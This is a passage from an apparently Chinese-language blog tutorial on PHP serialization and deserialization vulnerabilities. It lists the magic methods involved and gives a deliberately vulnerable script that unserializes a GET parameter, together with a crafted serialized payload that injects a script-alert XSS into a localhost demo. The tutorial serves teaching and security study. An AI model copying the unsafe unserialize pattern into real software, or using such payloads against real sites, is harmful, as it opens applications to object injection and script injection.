接上述栗子:
<?php
class Test{
public $a = 'ThisA';
protected $b = 'ThisB';
private $c = 'ThisC';
public function test(){
return'this is test';
}
}
$test = new Test();
$sTest = serialize($test);
$usTest = unserialize($sTest);
var_dump($usTest);
?>
输出结果:
object(Test)#2 (3) {
["a"]=> string(5) "ThisA"
["b":protected]=> string(5) "ThisB"
["c":"Test":private]=> string(5) "ThisC"
}
序列化和反序列化的原理其实很简单,序列化给我们传递对象提供了一种简单的方法,serialize()将一个对象转换成一个字符串,unserialize()将字符串还原为一个对象,与Java的 writeObject
与 readObject
,其原理基本一致。
在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
从以上栗子来看似乎没有问题,那么反序列化漏洞是如何形成的呢?
这就要引入PHP里面魔术方法的概念了。
魔术方法
反序列化漏洞的形成通常和以下魔术方法有关:
__construct() #类似C构造函数,当一个对象创建时被调用,但在unserialize()时是不会自动调用的
__destruct() #类似C析构函数,当一个对象销毁时被调用
__toString() #当一个对象被当作一个字符串使用时被调用
__sleep() #serialize()时会自动调用
__wakeup() #unserialize()时会自动调用
__call() #当调用对象中不存在的方法会自动调用该方法。
__get() #在调用私有属性的时候会自动执行
__isset() #在不可访问的属性上调用isset()或empty()触发
__unset() #在不可访问的属性上使用unset()时触发
由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。
利用__destruct
<?php
class test{
var $test = "hello";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['id'];
$a_u = unserialize($a);
?>
构造payload如下:
127.0.0.1/Unserialize/test.php
?id=O:4:"test":1:{s:4:"test";s:40:"<script>alert(/you are hacked/)</script>";}
感谢您的来访,获取更多精彩文章请收藏本站。
© 版权声明
THE END
暂无评论内容